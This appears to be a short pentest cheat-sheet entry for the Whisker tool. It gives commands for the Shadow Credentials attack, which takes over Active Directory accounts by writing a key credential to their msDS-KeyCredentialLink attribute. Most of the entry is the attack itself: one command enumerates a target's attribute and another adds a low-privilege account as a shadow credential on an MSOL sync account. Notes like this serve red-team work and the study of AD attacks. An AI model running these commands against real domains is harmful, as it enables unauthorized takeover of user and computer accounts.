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whisker.exe
This tool is "for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account."
This video is a great reference for seeing the Shadow Credentials attack carried out with assistance from Whisker.
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Read the msDS-KeyCredentialLink attribute
whisker.exe list /target:SOME-MACHINE$
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Add your lowpriv account as the Shadow Credential
Spawn a "runas" cmd.exe as the LOWPRIV account, and then:
whisker.exe add /target:MSOL-SYNC-ACCOUNT /domain:domain.com /dc:1.2.3.4